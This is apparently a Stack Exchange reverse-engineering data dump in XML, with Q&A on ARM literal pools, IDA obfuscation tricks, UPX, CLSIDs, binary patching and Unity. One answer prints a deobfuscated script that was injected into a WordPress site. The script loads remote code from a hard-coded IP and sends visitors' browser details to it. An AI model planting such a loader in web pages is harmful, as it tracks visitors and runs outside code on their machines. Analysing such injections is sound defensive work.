  <row Id="17673" PostTypeId="2" ParentId="17666" CreationDate="2018-03-12T21:43:27.420" Score="8" Body="&lt;p&gt;LDR loads a 32-bit constant (LDRH (halfword): 16 bit, LDRB (byte): 8 bit) from memory into the specified target register (r0 in your example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since 32-bit constants cannot be encoded in 32-bit opcodes (or 16-bit for Thumb instructions), the assembler stores the constant in the text segment close to the referencing instruction and then references the value using (usually) PC-relative addressing, i.e. some offset from r15.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, ldr is in fact a pseudo instruction. The following code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    .code 32&#xA;main:&#xA;    ldr r0, =0x12345678&#xA;    bx lr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is translated by the assembler into&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000 &amp;lt;main&amp;gt;:&#xA;       0:   e51f0000    ldr r0, [pc, #-0]   ; 8 &amp;lt;main+0x8&amp;gt;&#xA;       4:   e12fff1e    bx  lr&#xA;       8:   12345678    .word   0x12345678&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the constant referenced in the original ldr instruction is in fact stored at address 0x8 instead of in the instruction itself. The ldr instruction at address 0 then references this value using PC-relative addressing. The offset to the PC is 0 (instead of 8), since the actual PC value is always the address of the current instruction + 8 - this is an effect of the early ARM processor pipeline which has to be preserved for compatibility. &lt;/p&gt;&#xA;" OwnerDisplayName="user22967" LastEditorDisplayName="user22967" LastEditDate="2018-03-16T00:03:42.250" LastActivityDate="2018-03-16T00:03:42.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17674" PostTypeId="2" ParentId="17671" CreationDate="2018-03-12T23:35:13.517" Score="1" Body="&lt;p&gt;An &quot;&lt;em&gt;immediate value&lt;/em&gt;&quot; is an hardcoded value included in the program. It is all the static values that are present in a program. For example (if translated to C):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x = 10;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;x&lt;/code&gt; is a variable and &lt;code&gt;10&lt;/code&gt; is an immediate value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concerning, &quot;&lt;em&gt;where to find the value&lt;/em&gt;&quot;, it is &lt;strong&gt;in the register &lt;code&gt;r0&lt;/code&gt;&lt;/strong&gt;. I cannot tell more than that. If you do not know what a register is, you may just ask &lt;a href=&quot;https://en.wikipedia.org/wiki/Processor_register&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia about that&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2018-03-12T23:35:13.517" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17675" PostTypeId="1" AcceptedAnswerId="17677" CreationDate="2018-03-12T23:39:12.243" Score="3" ViewCount="869" Body="&lt;p&gt;I have tried all the I have learned so far to figure out how to deal with this instance of obfuscation.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ElQVV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ElQVV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I understand that an opaque predicate is present, causing an unconditional jump to one byte into L0. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I don't understand is how to deal with this issue in IDA. If the jump is made to L0+1 how can I mark the byte E8 as data, or deal with this otherwise. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="23597" LastActivityDate="2018-03-13T07:15:25.177" Title="IDA pro obfuscation instance" Tags="|disassembly|obfuscation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17676" PostTypeId="1" AcceptedAnswerId="17679" CreationDate="2018-03-13T03:07:00.427" Score="-1" ViewCount="1095" Body="&lt;p&gt;I was wondering if someone could provide me an UPX unpacker, which works with unix excutable files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a bunch of already, but all of those expect .EXE's which obviously won't work for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="23599" LastEditorUserId="12325" LastEditDate="2018-03-13T08:00:42.113" LastActivityDate="2018-03-13T09:15:03.167" Title="Unpacking UPX OSX files" Tags="|unpacking|upx|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17677" PostTypeId="2" ParentId="17675" CreationDate="2018-03-13T07:15:25.177" Score="3" Body="&lt;p&gt;IDA is good at recognising such tricks, but if it didn't&#xA;you can press &lt;kbd&gt;D&lt;/kbd&gt; having the &lt;code&gt;call&lt;/code&gt; instruction selected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will convert the opcode to a data, displaying just bunch of &lt;code&gt;db&lt;/code&gt;s. After that, select the byte that has &lt;code&gt;db 58&lt;/code&gt; (so one after &lt;code&gt;E8&lt;/code&gt;) and press &lt;kbd&gt;C&lt;/kbd&gt; to convert it to code again without the first byte. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result after the changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/A2ubj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/A2ubj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if this could be automated - probably with some script that IDA supports it could be.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-03-13T07:15:25.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17678" PostTypeId="2" ParentId="17671" CreationDate="2018-03-13T08:54:52.133" Score="4" Body="&lt;p&gt;In the area of machine code/instruction sets, an &lt;em&gt;immediate value&lt;/em&gt; is a constant number embedded into the instruction itself , as opposed to one loaded from another place. For example, on x86:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;6A 03  push    3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here, 3 is an &lt;em&gt;immediate&lt;/em&gt; because it's included directly as part of the opcode (in the second byte).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On ARM:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 00 00 50 E3                 CMP             R0, #0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here, 0 is again an &lt;em&gt;immediate&lt;/em&gt; because it's encoded in bits of the opcode. In ARM assembly, immediates are usually marked with &lt;code&gt;#&lt;/code&gt; symbol, although it is optional in later revisions when unambiguous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; C8 30 1F E5                 LDR             R3, =0xC0B8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here, despite appearances, &lt;code&gt;0xC0B8&lt;/code&gt; is &lt;em&gt;not&lt;/em&gt; an immediate. If we turn on [x] Disable pointer dereferencing in IDA, it is shown as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LDR             R3, dword_BDE0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;B8 C0 00 00   dword_BDE0      DCD 0xC0B8 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I.e. this value is not embedded into the instruction but is loaded from the &lt;em&gt;literal pool&lt;/em&gt; (an area reserved for storage of values not representable as immediates), but by default IDA simplifies such instructions to show directly the loaded value (this syntax is supported by most ARM assemblers).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-03-13T08:54:52.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17679" PostTypeId="2" ParentId="17676" CreationDate="2018-03-13T09:15:03.167" Score="4" Body="&lt;p&gt;Unless the binary has been modified to prevent it, UPX itself should be able to unpack it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;upx -d packed.bin&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-03-13T09:15:03.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17680" PostTypeId="2" ParentId="2415" CreationDate="2018-03-13T12:40:58.453" Score="1" Body="&lt;p&gt;For IDA v7.0 you can use: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ida_idp.is_align_insn(ScreenEA())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3589" LastActivityDate="2018-03-13T12:40:58.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17681" PostTypeId="1" CreationDate="2018-03-13T13:13:57.637" Score="1" ViewCount="385" Body="&lt;p&gt;Found a WP site (not mine) with lovely obfuscated code injected into the footer so I've been trying to de-obfuscate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran it through &lt;a href=&quot;http://matthewfl.com/unPacker.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;unpacker&lt;/a&gt;, then &lt;a href=&quot;https://www.rapidtables.com/convert/number/hex-to-ascii.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;converted hex to ASCII,&lt;/a&gt; then un-minified to bring back line breaks and wound up with something someone like me can actually kind of recognize as javascript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var _0x1386=[&quot;$ = ~[]; &#xA;$ = {&#xA;    2: ++$,&#xA;    $$$$: (![] + &quot;&quot;)[$],&#xA;    1 $: ++$,&#xA;    $0$0: (![] + &quot;&quot;)[$],&#xA;    0 $0: ++$,&#xA;    $0$$: ({} + &quot;&quot;)[$],&#xA;    $$0$: ($[$] + &quot;&quot;)[$],&#xA;    0 $$: ++$,&#xA;    $$$0: (!&quot;&quot; + &quot;&quot;)[$],&#xA;    $1: ++$,&#xA;    $0$: ++$,&#xA;    $$1: ({} + &quot;&quot;)[$],&#xA;    $$0: ++$,&#xA;    $$$: ++$,&#xA;    $2: ++$,&#xA;    $1$: ++$&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then followed some of the instructions of &lt;a href=&quot;https://blog.korelogic.com/blog/2015/01/12&quot; rel=&quot;nofollow noreferrer&quot;&gt;this dude who analyzed very similar javascript&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After doing so, this is where I'm at:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ = -1; &#xA;$ = {&#xA;    2: 0, &#xA;    $$$$: &quot;f&quot;,&#xA;    1 $: 1,&#xA;    $0$0: &quot;a&quot;,&#xA;    0 $0: 2,&#xA;    $0$$: &quot;j&quot;, &#xA;    $$0$: &quot;d&quot;,&#xA;    0 $$: 3,&#xA;    $$$0: &quot;e&quot;, &#xA;    $1: 4,&#xA;    $0$: 5,&#xA;    $$1: &quot;t&quot;,&#xA;    $$0: 6,&#xA;    $$$: 7,&#xA;    $2: 8,&#xA;    $1$: 9&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;**I'm specifically stuck (I think) lines in the $ object that have an integer and then space in the property name. ** Also, the hex alphabet wouldn't include &quot;j&quot; or &quot;t&quot; if I'm not mistaken, so maybe I am evaluating those expressions incorrectly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grateful for any bones thrown my way. I know it's a rube question that shares some in common with existing questions about deobfuscation, but it's not a duplicate question - I'm just a guy trying to learn Javascript and coding a little better by way of this exercise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="23603" LastActivityDate="2018-04-12T15:51:08.073" Title="deobfuscating javascript injected into Wordpress" Tags="|deobfuscation|javascript|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17682" PostTypeId="2" ParentId="17681" CreationDate="2018-03-13T13:48:24.000" Score="1" Body="&lt;p&gt;I rolled this slice of code through debugger and here is the function that is meant to be executed in the end.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;moved = 0;&#xA;besend = false;&#xA;function get_query() {&#xA;    besend = true;&#xA;    ua = navigator.userAgent;wd = screen.width;hg = screen.height;pl = navigator.platform;&#xA;    var tmp1 = document.createElement(&quot;script&quot;); tmp1.type = &quot;text/javascript&quot;; tmp1.async = true;&#xA;    tmp1.src = &quot;http://184.168.26.25/js/jquery-1.7.50.js?t1=&quot; + ua + &quot;&amp;amp;t2=&quot; + wd + &quot;&amp;amp;t3=&quot; + hg + &quot;&amp;amp;t4=933207538&amp;amp;t5=&quot; + moved + &quot;&amp;amp;t6=9885.js&quot;;&#xA;    var tmp2 = document.getElementsByTagName(&quot;script&quot;)[0];&#xA;    tmp2.parentNode.insertBefore(tmp1, tmp2);&#xA;}&#xA;document.onmousemove = function(){moved = 1;clearTimeout(timeout);if ((!besend)) {get_query();}&#xA;}&#xA;timeout = setTimeout(function(){if ((!moved) &amp;amp;&amp;amp; (!besend))  {get_query();besend = true}}, 20000);&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code explained in the snippet above is called by a &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function&quot; rel=&quot;nofollow noreferrer&quot;&gt;function constructor&lt;/a&gt; &#xA;&lt;code&gt;(0)[&quot;constructor&quot;][&quot;constructor&quot;](&quot;return\&quot;code to evaluate\&quot;&quot;)()&lt;/code&gt;, the constructor is modelized in the part &lt;code&gt;$.$ = ($.___)[$.$_][$.$_];&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also this post evaluated snippet is built referring to a minimal dictionary of characters declared in &lt;code&gt;$={...}&lt;/code&gt; at the second line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What's the pun fun happening inside the Json wrapper &lt;code&gt;$={...}&lt;/code&gt; ?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's seriously a trigger-wanders, let's go by steps to fathom this wayward script:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$ = ~[];&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This line is just a twist-round simple negation equivalent to the operation &lt;code&gt;$=-1&lt;/code&gt;; the context of this variable is used inside the array, just before overwriting this same variable &lt;code&gt;$&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$$$$: (![] + &quot;&quot;)[$]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Well, this took me longer to decipher tbh, this is one of the magical arithmetic nonesense of javascript, &lt;a href=&quot;http://2ality.com/2013/04/quirk-implicit-conversion.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;see here&lt;/a&gt; second note about implicit conversion of boolean to string, &lt;code&gt;&quot;&quot;+false&lt;/code&gt; evaluates to &lt;code&gt;&quot;false&quot;&lt;/code&gt; just exclusively in the realm of Js, the variable retrieves the first character &lt;code&gt;f&lt;/code&gt; since &lt;code&gt;$&lt;/code&gt; is incremented to &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;({} + &quot;&quot;)[$]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What's that honestly? does it return &quot;false&quot; ? &quot;0&quot; ? neither, it returns &quot;[object object]&quot;, the object element is string formatted using an inward &lt;code&gt;object.__proto__.toString()&lt;/code&gt; conversion when added with a string type.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;($[$] + &quot;&quot;)[$]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Let's seriously take a deep breath this is very intriguing workaround here, since $ is integer value, at this point evaluated to &lt;code&gt;2&lt;/code&gt;, then how is this treated as array? nah it's not, the js debugger does't generate exception in this case, it just returns an &lt;code&gt;undefined&lt;/code&gt; object, what were we talking about objects when additionned with strings ? inner-converted to &quot;undefined&quot; by this chance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See now nothing is surprising, the author of this script just took advantages of most of &lt;a href=&quot;https://i.stack.imgur.com/SznAC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;eerie behavior of js&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12383" LastEditorUserId="12383" LastEditDate="2018-03-13T15:03:01.867" LastActivityDate="2018-03-13T15:03:01.867" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="17684" PostTypeId="2" ParentId="17663" CreationDate="2018-03-13T16:04:10.107" Score="1" Body="&lt;p&gt;The best heuristic would be code. I would create a hello world test file and compile it with the compilers I was interested in identifying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Load them in the free version of IDA (or Pro if you've got it), and then examine the instructions at the entry point. Matching on compiler code at the entry point is a sure fire was of getting it right. You may have to try a few versions of the same compiler to ensure the code you've chosen to match is consistent.&lt;/p&gt;&#xA;" OwnerUserId="3298" LastActivityDate="2018-03-13T16:04:10.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17685" PostTypeId="1" AcceptedAnswerId="17696" CreationDate="2018-03-13T16:13:06.777" Score="1" ViewCount="2826" Body="&lt;p&gt;I've find a &lt;code&gt;CoCreateInstance()&lt;/code&gt; in IDA disassembly (after &lt;code&gt;CoInitializeEx()&lt;/code&gt;). Here are the assembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loc_18000499D:          ; pUnkOuter&#xA;xor     edx, edx&#xA;mov     [rsp+68h+ppv], rbx ; ppv&#xA;lea     r9, riid        ; riid&#xA;lea     rcx, rclsid     ; rclsid&#xA;lea     r8d, [rdx+4]    ; dwClsContext&#xA;call    cs:CoCreateInstance&#xA;mov     ebx, eax&#xA;mov     eax, 8007019Eh&#xA;cmp     ebx, 80040154h&#xA;cmovz   ebx, eax&#xA;test    ebx, ebx&#xA;jns     short loc_1800049D7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the pseudocode is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CoCreateInstance(&amp;amp;rclsid, 0i64, 4u, &amp;amp;riid, v4 + 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I click the &lt;code&gt;rclsid&lt;/code&gt; it is redirected to read-only data segment. Here is the .rdata section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.rdata:0000000180007930 ; IID rclsid&#xA;.rdata:0000000180007930 rclsid          dd 4F476546h            ; Data1&#xA;.rdata:0000000180007930                                         ; DATA XREF: f_CoInitialize+A7↑o&#xA;.rdata:0000000180007930                 dw 0B412h               ; Data2&#xA;.rdata:0000000180007930                 dw 4579h                ; Data3&#xA;.rdata:0000000180007930                 db 0B6h, 4Ch, 12h, 3Dh, 0F3h, 31h, 0E3h, 0D6h; Data4&#xA;.rdata:0000000180007940 ; IID riid&#xA;.rdata:0000000180007940 riid            dd 536A6BCFh            ; Data1&#xA;.rdata:0000000180007940                                         ; DATA XREF: f_CoInitialize+A0↑o&#xA;.rdata:0000000180007940                 dw 0FE04h               ; Data2&#xA;.rdata:0000000180007940                 dw 41D9h                ; Data3&#xA;.rdata:0000000180007940                 db 0B9h, 78h, 0DCh, 0ACh, 2 dup(0A9h), 0B5h, 0B9h; Data4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, How can I find the CLSID? I tried to change the data type with &lt;code&gt;D&lt;/code&gt; key but can't understand it.&lt;/p&gt;&#xA;" OwnerUserId="23069" LastActivityDate="2018-09-19T15:26:30.077" Title="How to find CLSID from CoCreateInstance in IDA?" Tags="|ida|disassembly|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17686" PostTypeId="1" AcceptedAnswerId="17692" CreationDate="2018-03-13T17:37:26.500" Score="0" ViewCount="349" Body="&lt;p&gt;So i'm new to the whole reverse engineering thing with only experience in C#. So I wanted to try and change the framerate of applications (eg. this unity game) at an assembly level on iOS ( I have an 120hz iPad pro so I find it really important.) Therefore to learn how this was done I decrypted the binary of my very own app on the app store and then compared it with the C++ code that is created when unity exports to Xcode.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/XlaCx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XlaCx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note the highlighted area and the value of 120 (the framerate). This is in C++.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MFkxv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MFkxv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;But now in assembly note how the value is simply &quot;System.Int32&quot;&#xA;Soo what happened to it? Maybe it's something to do with the /&lt;em&gt;hidden argument&lt;/em&gt;/ in the C++ code? but for other apps I obviously won't have access to that. I'm still new to this and i've been trying to learn the basics of assembly. I'm just baffled as to what I should do and how the value can be changed? If someone could explain how to do so that would be great. If not a helpful pointer as to what I should learn and do next to solve this problem, maybe links to articles would be also helpful. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="23610" LastActivityDate="2018-07-31T04:18:43.667" Title="Newbie here: hidden values in assembly?" Tags="|arm|ios|binary|" AnswerCount="1" CommentCount="0" ClosedDate="2018-03-14T13:34:47.143" ContentLicense="CC BY-SA 3.0" />
  <row Id="17687" PostTypeId="2" ParentId="17446" CreationDate="2018-03-13T17:57:37.093" Score="1" Body="&lt;p&gt;You can use the &lt;a href=&quot;https://docs.microsoft.com/en-us/dotnet/framework/tools/sos-dll-sos-debugging-extension&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ip2md&lt;/code&gt;&lt;/a&gt; sos command to get the method name for jitted code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:016&amp;gt; k&#xA; # Child-SP          RetAddr           Call Site&#xA;00 00000000`013fe688 00007ffb`4567ddb8 win32u!NtUserWaitMessage+0x14&#xA;01 00000000`013fe690 00007ffb`45611535 System_Windows_Forms_ni+0x2cddb8&#xA;&#xA;&#xA;0:016&amp;gt; !ip2md 00007ffb`45611535 &#xA;MethodDesc:   00007ffb454a25e8&#xA;Method Name:  System.Windows.Forms.Application+ComponentManager.System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.FPushMessageLoop(IntPtr, Int32, Int32)&#xA;Class:        00007ffb4540c9f8&#xA;MethodTable:  00007ffb45743f78&#xA;mdToken:      00000000060052f3&#xA;Module:       00007ffb453b1000&#xA;IsJitted:     yes&#xA;CodeAddr:     00007ffb45610fd0&#xA;Transparency: Safe critical&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3556" LastActivityDate="2018-03-13T17:57:37.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17688" PostTypeId="1" CreationDate="2018-03-13T18:07:32.483" Score="0" ViewCount="3792" Body="&lt;p&gt;I have an ARM executable binary file and I want to patch it at precise virtual addresses. Is there any safe (and automated) way to perform this task ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any scripts or tools are welcome!&lt;/p&gt;&#xA;" OwnerUserId="23422" LastEditorUserId="53" LastEditDate="2018-03-13T19:01:41.543" LastActivityDate="2020-02-18T08:39:26.720" Title="How to patch a binary file and save it?" Tags="|disassembly|patching|binary-editing|" AnswerCount="1" CommentCount="3" ClosedDate="2018-03-14T13:34:53.400" ContentLicense="CC BY-SA 3.0" />
  <row Id="17689" PostTypeId="2" ParentId="17688" CreationDate="2018-03-13T18:34:09.040" Score="3" Body="&lt;p&gt;If you are on Linux a simple group of commands as &lt;code&gt;readelf&lt;/code&gt;, &lt;code&gt;printf()&lt;/code&gt; and &lt;code&gt;dd&lt;/code&gt; can do the job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you have the binary &lt;code&gt;MyBin&lt;/code&gt; in ELF format and you want to patch the following condition located at &lt;code&gt;0x418966&lt;/code&gt; in memory :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jnz     loc_418706 ; 0x418966: 0f 85 9a fd ff ff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Firstly you must to find information about the &lt;code&gt;.text&lt;/code&gt; section of the binary file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf --wide -S MyBin | grep '.text\|Name\|Off'&#xA;  [Nr] Name              Type            Address          Off    Size   ES Flg Lk Inf Al&#xA;  [13] .text             PROGBITS        0000000000414670 014670 0dfa82 00  AX  0   0 16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the &lt;code&gt;.text&lt;/code&gt; section start in the binary file at &lt;code&gt;0x014670&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;the &lt;code&gt;.text&lt;/code&gt; section is loaded in memory at &lt;code&gt;0x414670&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then you must compute the instruction offset in the binary file relative to the &lt;code&gt;.text&lt;/code&gt; section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x418966 - 0x414670 = 0x0042f6&#xA;0x014670 + 0x0042f6 = 0x018966&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or with a shell one-liner:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ text_addr=0000000000414670; inst_addr=418966; text_off=014670; \&#xA;  python -c 'print(0x'$inst_addr' - 0x'$text_addr' + 0x'$text_off')'&#xA;100710&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here the instruction to patch is located at &lt;code&gt;0x18966&lt;/code&gt; in the binary file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I patch the binary with a nop and a near jump (&lt;code&gt;jmp e9 [cd]&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;printf '\x90\xe9' | dd of=MyBin bs=1 seek=100710 count=3 conv=notrunc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user23611" LastEditorUserId="53" LastEditDate="2020-02-18T08:39:26.720" LastActivityDate="2020-02-18T08:39:26.720" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17692" PostTypeId="2" ParentId="17686" CreationDate="2018-03-13T22:08:05.090" Score="1" Body="&lt;p&gt;Unity is written in C# and in C#, there are things that are called properties. Behind the scene there are two methods (called getter, and setter) but in the source code it looks like there is no function calls. This is how &lt;code&gt;TargetFrameRate&lt;/code&gt; looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public int TargetFrameRate { get; set;} // getter &amp;amp; setter omitted for brevity&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What you see in your assembly is in fact calling the setter (thus &lt;code&gt;set_targetFrameRate&lt;/code&gt;). And as those are not method, there can only be one value that is passed to them (or assigned as in C# code they look like normal assignment operation i.e. &lt;code&gt;TargetFrameRate = 120&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course Obj-C/Swift and C++ are different and does not support those so that have to be mitigated and for some reason they were coded like that (method &amp;amp; more than one value).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there is no issue that you see only one argument that &lt;code&gt;set_TargetFrameRate&lt;/code&gt; takes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What more you can do is to open Unity3d in .net decompiler like &lt;a href=&quot;https://github.com/0xd4d/dnSpy&quot; rel=&quot;nofollow noreferrer&quot;&gt;dnSpy&lt;/a&gt; and verify that this is in fact how &lt;code&gt;TargetFrameRate&lt;/code&gt; looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xv3kj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xv3kj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since it has an &lt;code&gt;InternalCall&lt;/code&gt; &amp;amp; &lt;code&gt;extern&lt;/code&gt; you would need to dig a bit deeper to get to the actual implementation.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="18014" LastEditDate="2018-07-31T04:18:43.667" LastActivityDate="2018-07-31T04:18:43.667" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
